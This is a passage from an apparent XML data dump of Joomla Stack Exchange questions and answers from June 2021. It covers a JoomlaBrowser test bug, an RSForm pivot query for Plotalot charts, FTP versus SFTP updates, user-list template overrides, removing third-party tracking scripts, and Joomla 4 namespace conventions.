'system-message-container'));&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Here is the composer packages i'm using:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;    &amp;quot;name&amp;quot;: &amp;quot;tests&amp;quot;,&#xA;    &amp;quot;description&amp;quot;: &amp;quot;Tests&amp;quot;,&#xA;    &amp;quot;license&amp;quot;: &amp;quot;GPL-2.0-or-later&amp;quot;,&#xA;    &amp;quot;require&amp;quot;: {},&#xA;    &amp;quot;require-dev&amp;quot;: {&#xA;        &amp;quot;codeception/codeception&amp;quot;: &amp;quot;^3&amp;quot;,&#xA;        &amp;quot;joomla-projects/joomla-browser&amp;quot;: &amp;quot;~v3&amp;quot;,&#xA;        &amp;quot;joomla-projects/selenium-server-standalone&amp;quot;: &amp;quot;~v3&amp;quot;,&#xA;        &amp;quot;fzaninotto/faker&amp;quot;: &amp;quot;^1.6&amp;quot;,&#xA;        &amp;quot;behat/gherkin&amp;quot;: &amp;quot;^4.4.1&amp;quot;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3822" LastEditorUserId="3822" LastEditDate="2021-06-24T09:58:14.513" LastActivityDate="2021-06-25T09:25:22.817" Title="Codeception Acceptance Test Issue with JoomlaBrowser" Tags="|development|custom-component|cms-testing|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="30293" PostTypeId="1" AcceptedAnswerId="30306" CreationDate="2021-06-24T01:47:58.260" Score="1" ViewCount="259" Body="&lt;p&gt;I'm trying to extract RSForm Pro form data from the database to create Plotalot charts.&lt;/p&gt;&#xA;&lt;p&gt;There is a field on the form called &amp;quot;resolved&amp;quot; to which users respond &amp;quot;Yes or No&amp;quot;. I would like to add up all &amp;quot;Yes&amp;quot; and all &amp;quot;No&amp;quot; and add up the amount of &amp;quot;Yes&amp;quot; and &amp;quot;No&amp;quot; separately to generate a Pizza chart. However, when I enter the code below I get an error and it doesn't generate the graph:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Plot error: Plot 1: Unknown column 'Yes' in 'field list'&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;The code I'm trying is:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;SELECT&#xA;    FieldName,&#xA;    SUM(Sim) AS Sim,&#xA;    SUM(Não) AS Não&#xA;FROM (&#xA;  SELECT&#xA;      MAX(IF(FieldName = 'FIELDNAME', FieldValue, NULL)) AS FieldName,&#xA;      MAX(IF(FieldName = 'FIELDVALUE' AND FieldValue = 'Não', 1, 0)) AS Nãoo,&#xA;      MAX(IF(FieldName = 'FIELDVALUE' AND FieldValue = 'Sim', 1, 0)) AS Simm&#xA;  FROM r4l7i_rsform_submission_values&#xA;  WHERE FormId = 4&#xA;  GROUP BY SubmissionId&#xA;  HAVING MAX(IF(FieldName = 'EXITDATE', FieldValue, NULL)) = ''&#xA;) DerivedTable&#xA;GROUP BY FieldName&#xA;ORDER BY FieldName, Sim, Não&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/1tDcC.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/1tDcC.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15452" LastEditorUserId="12352" LastEditDate="2021-06-28T09:41:38.330" LastActivityDate="2023-08-09T01:18:12.417" Title="Create Plotalot chart from RSForm Pro data using pivot query" Tags="|joomla-3.x|sql|rsform|pivot|plotalot|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="30294" PostTypeId="2" ParentId="28111" CreationDate="2021-06-24T12:51:10.000" Score="1" Body="&lt;p&gt;Joomla doesn't support updating thru &lt;strong&gt;SFTP&lt;/strong&gt;. Joomla only supports &lt;strong&gt;FTP&lt;/strong&gt;.&#xA;There is a major difference between &lt;strong&gt;SFTP&lt;/strong&gt; and &lt;strong&gt;FTP&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;FTP&lt;/strong&gt; (File Transfer Protocol) is a plain text protocol using 2 separated connections for transferring data. It also doesn't support encryption. Except if you use &lt;strong&gt;FTPS&lt;/strong&gt; which is an addition to &lt;strong&gt;FTP&lt;/strong&gt;. It needs port 21 (default) and a data port.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;SFTP&lt;/strong&gt; (SSH File Transfer Protocol) is based on SSH which is a fully encrypted binary protocol and works completely different. It needs only port 22 (default).&lt;/p&gt;&#xA;&lt;p&gt;So if you like to update with &lt;strong&gt;FTP&lt;/strong&gt; you need to supply &lt;strong&gt;FTP&lt;/strong&gt; credentials and not &lt;strong&gt;SFTP&lt;/strong&gt; / &lt;strong&gt;SSH&lt;/strong&gt; credentials.&lt;/p&gt;&#xA;" OwnerUserId="69" LastActivityDate="2021-06-24T12:51:10.000" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="30295" PostTypeId="2" ParentId="30291" CreationDate="2021-06-24T13:32:48.897" Score="0" Body="&lt;p&gt;Your sub form itself looks ok.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Where do you want to save the data? In a separate table?&lt;/li&gt;&#xA;&lt;li&gt;Did you retrieve the form data with&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;pre&gt;&lt;code&gt;        $form  = $input-&amp;gt;post-&amp;gt;get('jform', null, 'array');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;How does your existing component know which form field(s) to retrieve and save?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h2&gt;Content Plugin&lt;/h2&gt;&#xA;&lt;p&gt;I would recommend not changing the component. Instead you could programme a &lt;strong&gt;Content Plugin&lt;/strong&gt;. Within &lt;code&gt;onContentAfterSave&lt;/code&gt; you retrieve the form input, and save it in the database.&lt;/p&gt;&#xA;&lt;p&gt;To display the saved data in the form, you could use &lt;code&gt;onContentPrepareForm&lt;/code&gt; to retrieve + display the data in the form.&lt;/p&gt;&#xA;&lt;p&gt;If you save your data in a separate database table, then you should clean up that data when you delete the original record. For that you could add a &lt;code&gt;onContentAfterDelete&lt;/code&gt; method to remove the records in your own database table.&lt;/p&gt;&#xA;" OwnerUserId="13472" LastActivityDate="2021-06-24T13:32:48.897" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="30296" PostTypeId="1" AcceptedAnswerId="30299" CreationDate="2021-06-25T08:46:04.153" Score="1" ViewCount="73" Body="&lt;p&gt;I would like to add another field for sorting users in User Manager. I can't find in google what I need to edit (what files to edit, where fields should be created). I am new to Joomla, so I don't know if there are hooks available, I don't want to edit core files. I have a custom field for the sorting already, it is named &lt;code&gt;Company name (Название огранизации)&lt;/code&gt;. I need to sort users according to this value. How can I achieve that?&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/PMe3A.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/PMe3A.png&quot; alt=&quot;user manager pic&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/SiVAY.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/SiVAY.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15456" LastActivityDate="2021-06-26T10:11:05.747" Title="Customise sorting in User Manager (Backend)" Tags="|joomla-3.x|php|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="30297" PostTypeId="2" ParentId="30292" CreationDate="2021-06-25T09:25:22.817" Score="1" Body="&lt;p&gt;This was actually a bug in the Joomla Browser and has been fixed now.&lt;/p&gt;&#xA;&lt;p&gt;See &lt;a href=&quot;https://github.com/joomla-projects/joomla-browser/pull/216&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/joomla-projects/joomla-browser/pull/216&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;The current version should be able to create new menuitems.&lt;/p&gt;&#xA;" OwnerUserId="69" LastActivityDate="2021-06-25T09:25:22.817" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="30298" PostTypeId="1" CreationDate="2021-06-25T16:48:11.093" Score="0" ViewCount="56" Body="&lt;p&gt;Inside the template manager, I have selected a bunch of pages for main menu, top header, right menu. However, the website loads just the default Home page article without these menus. Any tips on debugging this problem? Joomla version is 2.5. I am completely unfamiliar with its working, any help is much appreciated! Do let me know if I should provide any additional details.&lt;/p&gt;&#xA;" OwnerUserId="15463" LastActivityDate="2021-06-25T16:48:11.093" Title="Main menu, footer, right menu not showing up on default page" Tags="|joomla-2.5|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="30299" PostTypeId="2" ParentId="30296" CreationDate="2021-06-26T10:11:05.747" Score="2" Body="&lt;p&gt;To start with you can create a override of the list page, your first image, by going into the Administrator Template you are using on your site, by default the drop down will display Site so you need to change it to Administrator.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/TN0GI.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/TN0GI.png&quot; alt=&quot;Select the Administrator&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Select the Tab Create Override and then going to com_users at the bottom of the Components list, expanding the selection and select the last file, users.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/OGJTa.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/OGJTa.png&quot; alt=&quot;Admin Template override&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Then select the Editor Tab and make your way to the file you just created.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/d7WG7.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/d7WG7.png&quot; alt=&quot;Edit your override file&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;That is the relative easy bit, you have got a copy of the core file that you can edit and make your changes that wont be lost during upgrades etc. You can find out more about Overrides by reading the Joomla Docs or the may tutorials people have written to understand overrides in templates.&lt;/p&gt;&#xA;&lt;p&gt;The more difficult piece of your requirement is getting the custom field value to place in the column of the display.&lt;/p&gt;&#xA;&lt;p&gt;When you create a custom field for a component, in your case the &lt;code&gt;com_user&lt;/code&gt; component, the field and its value are not stored in the components database tables but in the tables of the &lt;code&gt;com_field&lt;/code&gt; component. You can see the tables &lt;code&gt;#__fields_fields&lt;/code&gt;, &lt;code&gt;#__fields_values&lt;/code&gt;, &lt;code&gt;#__fields_group&lt;/code&gt;, &lt;code&gt;#__fields_&lt;/code&gt;etc. When you see the custom fields displayed in a components output, there is separate processing that has occurred to retrieve the values of the custom field.&lt;/p&gt;&#xA;&lt;p&gt;Because you can't override the Model or View for com_user that gets the data for the page you will need to add your own code in the override file you have created above that retrieves the value for the company custom field and display it in a new column. I expect you will need to read up on how to retrieve the custom field(s) but to point you in the right direction it will probably contain something like this;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$user           = Factory::getUser();&#xA;$customFields   = FieldsHelper::getFields('com_users.user', $user, true);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13306" LastActivityDate="2021-06-26T10:11:05.747" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="30300" PostTypeId="1" CreationDate="2021-06-26T13:32:50.840" Score="1" ViewCount="824" Body="&lt;p&gt;I have a Joomla website that I wish to make faster by following the indications given by the GoogleSpeed Insight page:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&amp;quot;Reduce unused JavaScript&amp;quot; and&lt;/li&gt;&#xA;&lt;li&gt;&amp;quot;Minify JavaScript&amp;quot;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://developers.google.com/speed/pagespeed/insights/?url=https%3A%2F%2Feasy-moving.ca%2F&amp;amp;tab=mobile&quot; rel=&quot;nofollow noreferrer&quot;&gt;google insight&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;The goal is to solve the problem.&lt;/p&gt;&#xA;&lt;p&gt;I couldn't find where it is:&#xA;&lt;a href=&quot;https://ajax.googleapis.com/ajax/libs/jquery/1.11.1/jquery.js&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://ajax.googleapis.com/ajax/libs/jquery/1.11.1/jquery.js&lt;/a&gt;&#xA;Google Insight should solve it first but I cant.&lt;/p&gt;&#xA;&lt;p&gt;My site &lt;a href=&quot;https://easy-moving.ca&quot; rel=&quot;nofollow noreferrer&quot;&gt;get in web site&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;by the way, I see this: &lt;a href=&quot;https://i.stack.imgur.com/ONOVl.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ONOVl.png&quot; alt=&quot;get in to see image&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Jr7Ge.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Jr7Ge.png&quot; alt=&quot;should google&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15471" LastEditorUserId="15471" LastEditDate="2021-06-27T13:11:50.833" LastActivityDate="2021-06-30T06:22:56.800" Title="How to fix &quot;Reduce unused JavaScript&quot; and &quot;Minify JavaScript&quot;" Tags="|joomla-3.x|javascript|performance|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="30302" PostTypeId="2" ParentId="30300" CreationDate="2021-06-27T13:13:58.803" Score="1" Body="&lt;p&gt;I can solve it. JCH Optimize solved the problem almost.&#xA;You can add Js what you want to remove if unused.&#xA;you should do:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Downloads plugin JCH Optimize. I use free version&lt;/li&gt;&#xA;&lt;li&gt;get in setting plugin&#xA;3.Basic Features ---&amp;gt; Remove Unused Javascript ---&amp;gt; add item&lt;/li&gt;&#xA;&lt;li&gt;save and clear chache&#xA;I was wrong before. It works only if you have script on you server or database. dosent work if looks like &lt;a href=&quot;https://connect.facebook.net/signals/config/731015690569070?v=2.9.42&amp;amp;r=stable&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://connect.facebook.net/signals/config/731015690569070?v=2.9.42&amp;amp;r=stable&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="15471" LastEditorUserId="15471" LastEditDate="2021-06-30T06:22:56.800" LastActivityDate="2021-06-30T06:22:56.800" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="30303" PostTypeId="1" CreationDate="2021-06-27T13:20:39.003" Score="0" ViewCount="2855" Body="&lt;p&gt;I have issue with &amp;quot;https://connect.facebook.net/signals/config/731015690569070?v=2.9.42&amp;amp;r=stable&amp;quot;&#xA;&amp;quot;https://www.googletagmanager.com/gtag/js?id=UA-110217943-1&amp;amp;l=dataLayer&amp;amp;cx=c&amp;quot; &lt;a href=&quot;https://i.stack.imgur.com/mEinE.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/mEinE.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&#xA;what should I do? How can I Reduce unused JavaScript if I even cant find it.&#xA;I have to removed unused Javascript connect.facebook.net. is it possible?&#xA;&lt;a href=&quot;https://easy-moving.ca/&quot; rel=&quot;nofollow noreferrer&quot;&gt;get in web site&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15471" LastActivityDate="2021-07-02T03:04:38.640" Title="Remove unused JavaScript to reduce bytes consumed by network activity" Tags="|joomla-3.x|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="30304" PostTypeId="2" ParentId="30303" CreationDate="2021-06-28T06:30:22.747" Score="0" Body="&lt;p&gt;To find out which plugins or other parts of your website load the JavaScript, you could &lt;strong&gt;install that website on your local computer&lt;/strong&gt; and &lt;strong&gt;use an IDE&lt;/strong&gt; (like PHPStorm, Netbeans, Visual Studio, etc) to analyse it.&lt;/p&gt;&#xA;&lt;p&gt;You can run a Joomla website locally using an &amp;quot;AMP&amp;quot; stack (like LAMP, MAMP, WAMP, etc). With Akeeba Backup you can create a backup that you restore locally.&lt;/p&gt;&#xA;&lt;p&gt;If you create an SQL dump from your Joomla database, and put that text file in your local Joomla folder, the IDE will also search in that.&lt;/p&gt;&#xA;" OwnerUserId="13472" LastActivityDate="2021-06-28T06:30:22.747" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="30305" PostTypeId="1" AcceptedAnswerId="30313" CreationDate="2021-06-28T09:34:24.487" Score="2" ViewCount="658" Body="&lt;p&gt;In a few answers on JSE and looking at the Joomla 4 tutorial on building a new component, I have noticed that the convention for class names appears to have changed, dropping the &lt;code&gt;&amp;lt;component_name&amp;gt;&lt;/code&gt; prefix and moving the file name to the prefix.&lt;/p&gt;&#xA;&lt;p&gt;I have been searching for a few hours now looking for anything that explains the change and what the new convention to be used should be.&lt;/p&gt;&#xA;&lt;p&gt;Where can I find more information?&lt;/p&gt;&#xA;" OwnerUserId="13306" LastEditorUserId="12352" LastEditDate="2021-06-28T22:21:31.023" LastActivityDate="2021-07-06T04:51:56.350" Title="Where to read about Joomla 4 convention for class names" Tags="|component|joomla-4|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="30306" PostTypeId="2" ParentId="30293" CreationDate="2021-06-28T09:37:11.937" Score="0" Body="&lt;p&gt;It looks like you found the &lt;a href=&quot;/questions/tagged/pivot&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged &amp;#39;pivot&amp;#39;&quot; rel=&quot;tag&quot;&gt;pivot&lt;/a&gt; pages on JSE -- well done.  Also, you coding attempt is very close -- you just need to create two-column rows for PlotALot.&lt;/p&gt;&#xA;&lt;p&gt;You didn't supply me with realistic database data, so I needed to mock up my own minimal sample data set.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;INSERT INTO `r4l7i_rsform_submission_values` (`SubmissionValueId`, `FormId`, `SubmissionId`, `FieldName`, `FieldValue`) VALUES&#xA;(101, 4, 1, 'resolvido', 'Não'),&#xA;(102, 4, 1, 'EXITDATE', ''),&#xA;(103, 4, 2, 'resolvido', 'Sim'),&#xA;(104, 4, 2, 'EXITDATE', ''),&#xA;(105, 4, 3, 'resolvido', 'Não'),&#xA;(106, 4, 3, 'EXITDATE', ''),&#xA;(107, 4, 4, 'resolvido', 'Não'),&#xA;(108, 4, 4, 'EXITDATE', '2021-06-01'),&#xA;(109, 4, 5, 'resolvido', 'Sim'),&#xA;(110, 4, 5, 'EXITDATE', ''),&#xA;(111, 4, 6, 'resolvido', 'Não'),&#xA;(112, 4, 6, 'EXITDATE', '');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This has 4 Não values (relating to SubmissionIds: 1,3,4,6) and 2 Sim values (relating to SubmissionIds 2,5).  SubmissionId 4 is logically disqualified because it has a non-empty EXITDATE value.&lt;/p&gt;&#xA;&lt;p&gt;SQL: (&lt;a href=&quot;https://www.db-fiddle.com/f/dfRoMAGLpa4qfe22rHffS6/1&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.db-fiddle.com/f/dfRoMAGLpa4qfe22rHffS6/1&lt;/a&gt;)&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;SELECT Resolvido,&#xA;       COUNT(1) AS Count&#xA;FROM (&#xA;    SELECT&#xA;        MAX(IF(FieldName = 'resolvido', FieldValue, NULL)) AS `Resolvido`&#xA;    FROM r4l7i_rsform_submission_values&#xA;    WHERE FormId = 4&#xA;    GROUP BY SubmissionId&#xA;    HAVING MAX(IF(FieldName = 'EXITDATE', FieldValue, '')) = ''&#xA;) DerivedTable&#xA;GROUP BY Resolvido&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Result Set:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;| Resolvido | Count |&#xA;| --------- | ----- |&#xA;| Não       | 3     |&#xA;| Sim       | 2     |&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Rendered Pie Chart (with and without hover effect):&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ZDwUt.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZDwUt.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12352" LastActivityDate="2021-06-28T09:37:11.937" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="30307" PostTypeId="1" CreationDate="2021-06-28T16:32:58.497" Score="1" ViewCount="118" Body="&lt;p&gt;I have almost the same task as mentioned in &lt;a href=&quot;https://joomla.stackexchange.com/questions/16779/how-do-i-programmatically-activate-a-jomsocial-user/30301#&quot;&gt;How do I programmatically activate a JomSocial user?&lt;/a&gt;(register new users from my angular app into Joomla).&lt;/p&gt;&#xA;&lt;p&gt;How can I access the file, mentioned in the answer, from my external angular app to call the function &lt;code&gt;createUser()&lt;/code&gt;?&lt;/p&gt;&#xA;&lt;p&gt;I tried a post request, but it cannot access the file.&lt;/p&gt;&#xA;" OwnerUserId="14891" LastEditorUserId="14891" LastEditDate="2021-06-29T11:22:43.643" LastActivityDate="2021-06-29T11:22:43.643" Title="How do I programmatically register a user in Joomla and in JomSocial?" Tags="|registration|joomla-1.5|jomsocial|angularjs|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="30308" PostTypeId="1" CreationDate="2021-06-28T20:28:20.777" Score="1" ViewCount="75" Body="&lt;p&gt;We have Joomla 3.3.6 , I am aware of the following link&#xA;&lt;a href=&quot;https://downloads.joomla.org/technical-requirements&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://downloads.joomla.org/technical-requirements&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;We are planning to  Upgrade DB version to 9.6 which is also at EOL by Nov 2021 because Joomla support matrix only states 9.1+ for Postgres operability. We are uncertain at the moment if Joomla will work with a 10.x or above Postgres release.&lt;/p&gt;&#xA;&lt;p&gt;This question is related to &lt;a href=&quot;https://joomla.stackexchange.com/q/10435/12352&quot;&gt;Joomla 3.3.6 with Postgresql&lt;/a&gt; on JSE.&lt;/p&gt;&#xA;" OwnerUserId="15477" LastEditorUserId="12352" LastEditDate="2021-06-28T22:12:37.320" LastActivityDate="2021-07-01T12:33:04.217" Title="Does Joomla 3.3.6 support Postgres 10.x?" Tags="|joomla-3.x|postgresql|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="30311" PostTypeId="2" ParentId="30305" CreationDate="2021-06-29T21:24:45.323" Score="1" Body="&lt;p&gt;Did you have a look at the Joomla code itself on Github too?&#xA;&lt;a href=&quot;https://github.com/joomla/joomla-cms/tree/4.0-dev&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/joomla/joomla-cms/tree/4.0-dev&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;When I take a look at the php files in the tmpl directories of components and modules I see the following setup for classNames.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;modules =&amp;gt; &lt;code&gt;mod-modulenmame&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;components =&amp;gt; &lt;code&gt;com-componentname&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;For instance com_contact.&#xA;The className for a single contact can be found on line 27 of &lt;a href=&quot;https://github.com/joomla/joomla-cms/blob/4.0-dev/components/com_contact/tmpl/contact/default.php#L27&quot; rel=&quot;nofollow noreferrer&quot;&gt;joomla-cms/components/com_contact/tmpl/contact/default.php&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Press the line number and three dots appear.&#xA;Select option &amp;quot;View git blame&amp;quot; and an overview appears on which commits caused the most recent change on that line.&#xA;For line 27 it is commit &lt;a href=&quot;https://github.com/joomla/joomla-cms/blame/ca4670a737a5954804363aee0657593cbff6e665/components/com_contact/tmpl/contact/default.php#L27&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/joomla/joomla-cms/blame/ca4670a737a5954804363aee0657593cbff6e665/components/com_contact/tmpl/contact/default.php#L27&lt;/a&gt;&#xA;It has the following commit message:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;[4,0] HTML class naming standard [frontend][com-contact] (#20770)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;In this commit you can see the change of old to new classNames and how the new className is setup.&lt;/p&gt;&#xA;&lt;p&gt;Does this help you to continue?&lt;/p&gt;&#xA;" OwnerUserId="240" LastActivityDate="2021-06-29T21:24:45.323" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="30312" PostTypeId="2" ParentId="30303" CreationDate="2021-06-29T21:34:26.993" Score="1" Body="&lt;p&gt;Your screenshot mentions both Facebook as Google Tag Manager.&#xA;Both assets to do not come with Joomla core.&#xA;So there must be some kind of 3th party extension that adds this.&lt;/p&gt;&#xA;&lt;p&gt;Google Tag Manager&#xA;&lt;a href=&quot;https://www.googletagmanager.com/gtag/js?id=UA-110217943-1&amp;amp;l=dataLayer&amp;amp;cx=c&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.googletagmanager.com/gtag/js?id=UA-110217943-1&amp;amp;l=dataLayer&amp;amp;cx=c&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;This all contains an id=UA-110217943-1 which looks a lot like a Google Universal Analytics implementation. To reduce unused Javascript and thus remove this call implies to remove the connection to Google Analytics.&#xA;Is that what you want?&lt;/p&gt;&#xA;&lt;p&gt;The same goes for connect.facebook.net... It is a connection between your site and Facebook. If there is no need, then find out which 3th party extension is adding the Facebook pixel. Just after the start of &lt;code&gt;&amp;lt;body&amp;gt;&lt;/code&gt; and before &lt;code&gt;&amp;lt;div class=&amp;quot;wrapper&amp;quot;&amp;gt;&lt;/code&gt;.&#xA;&lt;code&gt;&amp;lt;img height=1 width=1 style=display:none src=&amp;quot;https://www.facebook.com/tr?id=731015690569070&amp;amp;ev=PageView&amp;amp;noscript=1&amp;quot; alt=&amp;quot;&amp;quot;&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="240" LastActivityDate="2021-06-29T21:34:26.993" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="30313" PostTypeId="2" ParentId="30305" CreationDate="2021-06-30T08:21:59.330" Score="2" Body="&lt;p&gt;Components in J4 use a service-based approach which, in theory, should allow any naming convention. Although for that you'd have to write your own factories.&lt;/p&gt;&#xA;&lt;p&gt;But if you want to follow same conventions as Joomla core components, start by declaring a namespace in the component's manifest file. The namespace should be in this form:&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;[Vendor]\Component\[Component Name]&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;The &lt;code&gt;Component&lt;/code&gt; part really shouldn't be needed but, apparently, there is at least one place in core libraries where it's expected for some reason.&lt;/p&gt;&#xA;&lt;p&gt;The resulting manifest XML would be like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;namespace&amp;gt;Irata\Component\MyComponent&amp;lt;/namespace&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Optionally, you could better organize your components by moving classes to a subdirectory. Core components use &lt;code&gt;src&lt;/code&gt; directory but that's irrelevant. In the manifest you'd have to add a &lt;code&gt;path&lt;/code&gt; attribute:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;namespace path=&amp;quot;somedirectory&amp;quot;&amp;gt;Irata\Component\MyComponent&amp;lt;/namespace&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Namespaces declared in the manifest use PSR-4 autoloading. You can read about it &lt;a href=&quot;https://www.php-fig.org/psr/psr-4/&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;. This should answer most of questions about class/file structure. But there are some Joomla-specific things remaining.&lt;/p&gt;&#xA;&lt;p&gt;From here, subnamespaces are created per application. Frontend classes are in &lt;code&gt;Site&lt;/code&gt; subnamespace, backend classes are in &lt;code&gt;Administrator&lt;/code&gt; subnamespace and API application (new in J4) classes are in &lt;code&gt;Api&lt;/code&gt; subnamespace. So, for example, classes in &lt;code&gt;administrator/components/com_mycomponent/&lt;/code&gt; should have &lt;code&gt;Irata\Component\MyComponent\Administrator&lt;/code&gt; namespace declaration.&lt;/p&gt;&#xA;&lt;p&gt;When using core MVC factory, model, controller and table classes should be split into subnamespaces by type (&lt;code&gt;Model&lt;/code&gt;, &lt;code&gt;Controller&lt;/code&gt; and &lt;code&gt;Table&lt;/code&gt;) and class names should be composed of item type (article, item or whatever) and class type. For 